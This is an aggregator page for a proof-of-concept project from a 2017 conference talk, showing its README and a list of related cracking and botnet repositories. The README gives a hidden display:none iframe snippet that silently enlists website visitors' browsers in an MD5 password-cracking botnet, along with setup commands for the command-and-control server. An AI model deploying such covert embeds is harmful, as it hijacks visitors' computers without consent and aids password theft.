All Projects → brannondorsey → Distributed Password Cracking

brannondorsey / Distributed Password Cracking

Licence: mit
Borrow CPU cycles from visitor's web browsers to crack MD5 password hashes 😲

Programming Languages

javascript
184084 projects - #8 most used programming language

Projects that are alternatives of or similar to Distributed Password Cracking

Bopscrk
Tool to generate smart and powerful wordlists
Stars: ✭ 273 (+100.74%)
Mutual labels:  cracking, password-cracking
Webhashcat
Hashcat web interface
Stars: ✭ 151 (+11.03%)
Mutual labels:  cracking, password-cracking
Duplicut
Remove duplicates from MASSIVE wordlist, without sorting it (for dictionary-based password cracking)
Stars: ✭ 352 (+158.82%)
Mutual labels:  cracking, password-cracking
Dcipher Cli
🔓Crack hashes using online rainbow & lookup table attack services, right from your terminal.
Stars: ✭ 193 (+41.91%)
Mutual labels:  md5, cracking
Wifi Cracking
Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat
Stars: ✭ 9,546 (+6919.12%)
Mutual labels:  cracking, password-cracking
Arsenal
Extensible Red Team Framework
Stars: ✭ 99 (-27.21%)
Mutual labels:  botnet
Pelock Software Protection And Licensing Sdk
Software copy protection against cracking & reverse engineering with anti-cracking & anti-debugging techniques. Software license key system with time trial options.
Stars: ✭ 109 (-19.85%)
Mutual labels:  cracking
Aura Botnet
A super portable botnet framework with a Django-based C2 server. The client is written in C++, with alternate clients written in Rust, Bash, and Powershell.
Stars: ✭ 95 (-30.15%)
Mutual labels:  botnet
Hashcobra
HashCobra Hash Cracking tool.
Stars: ✭ 96 (-29.41%)
Mutual labels:  md5
Myutils
🙏 提供时间轴转星座|生肖工具、系统存储空间获取工具、文件大小格式化工具、获取指定文件大小工具、AES加密解码工具(支持android端平台加密解密,java端和android端相互加密解密)、SharePreference操作工具、 File文件操作工具、日期获取和计算工具、界面跳转Intent操作工具、字符串验证和数值转换操作工具、手机震动工具、系统资源操作工具、网络检测工具、 wifi操作工具、单位换算工具、zip压缩和解压操作工具、XML解析操作工具(只支持几种指定格式)、图片加载和处理工具,数据库操作(增删改查)工具、Base64编码解码工具、MD5加密工具。
Stars: ✭ 130 (-4.41%)
Mutual labels:  md5
Botnet Lab
An IRC based tool for testing the capabilities of a botnet.
Stars: ✭ 123 (-9.56%)
Mutual labels:  botnet
Ddos Rootsec
DDOS Archive by RootSec (Scanners, BotNets (Mirai and QBot Premium & Normal and more), Exploits, Methods, Sniffers)
Stars: ✭ 108 (-20.59%)
Mutual labels:  botnet
M4ngl3m3
Common password pattern generator using strings list
Stars: ✭ 103 (-24.26%)
Mutual labels:  cracking
Hash Library
Portable C++ hashing library
Stars: ✭ 109 (-19.85%)
Mutual labels:  md5
Kratosknife
KratosKnife is a Advanced BOTNET Written in python 3 for Windows OS. Comes With Lot of Advanced Features such as Persistence & VM Detection Methods, Built-in Binder, etc
Stars: ✭ 97 (-28.68%)
Mutual labels:  botnet
Merkle
Node.js module implementing Merkle tree algorithm
Stars: ✭ 123 (-9.56%)
Mutual labels:  md5
Ollydbg Scripts
Unpacking scripts for Ollydbg.
Stars: ✭ 109 (-19.85%)
Mutual labels:  cracking
Hashcat
World's fastest and most advanced password recovery utility
Stars: ✭ 11,014 (+7998.53%)
Mutual labels:  cracking
Gosecretsdump
Dump ntds.dit really fast
Stars: ✭ 122 (-10.29%)
Mutual labels:  cracking
Reversing List
Reversing list
Stars: ✭ 106 (-22.06%)
Mutual labels:  cracking

Distributed Password Cracking

Borrow CPU cycles from visitor's web browsers to crack MD5 password hashes. Embedding a hidden <iframe> to a website will automatically add a visitor's browser as a node in a password cracking botnet. Their browser will received MD5 hashes and password candidates from a command-and-control server and report back any passwords it cracks for the duration of the time the visitor is browsing the "infected" website.

Screenshot

<!-- add a single iframe embed to *your* website to add all visitors
     as nodes in the password cracking botnet -->
<iframe src="YOUR_WEBSITE.com:3000/embed" style="display:none">

This is proof-of-concept code for the Browser as Botnet talk (video) at Radical Networks 2017. As such, it is not optimized. There are far more efficient ways to crack passwords if that is your goal. This project is intended to illustrate how compute jobs can be massively distributed across browsers.

DISCLAIMER: This software is for educational purposes only. This software should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

Getting Started

# clone this repo
git clone https://github.com/brannondorsey/distributed-password-cracking
cd distributed-password-cracking

# install the dependencies
npm install

# run the command-and-control server
node server.js

Navigate to http://localhost:3000 to view the unprotected "admin" panel. This microsite allows you to view the activity of your botnet in real-time. To test that your password cracking network is working, open another browser tab to http://localhost:3000/embed. This creates a browser cracking node and launches one web worker per CPU on your machine. You should now see a connected node on the admin panel.

The server distributes password candidates and MD5 hashes to browser clients continuously as they connect. It uses:

Cracked passwords are saved to data/cracked.txt like so:

5f4dcc3b5aa765d61d8327deb882cf99:password

Replace passwords.txt and hashes.txt to use your own password dictionary and MD5 hashes.

Embedding the <iframe>

Once your server is running adding nodes is as easy as including an iframe in your website. For this to work, your node server has to be publicly accessible from the web. That means setting up port forwarding/ssh tunnels or renting a VPS (on AWS or the like) without a firewall on port 3000. Add the below iframe to whatever web page you would like visitors to crack passwords from:

<iframe src="YOUR_WEBSITE.com:3000/embed" style="display:none">

Note: The node server.js enables CORs by default, but if you are proxying the connection (via Nginx, etc...) you may need to enable CORs on that proxy server as well.

Future Features

  • WebAssembly MD5 hashing. I'm close to this but ran out of time ahead of the talk. I'm reaching near native speeds in my tests, bringing hashrates on my machine from ~700K a second to 5M, nearly an order of magnitude speedup!
  • CPU throttling settings

License and Attribution

This software is released under an MIT license. You are free to use, modify, distribute, and sell it under those terms.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].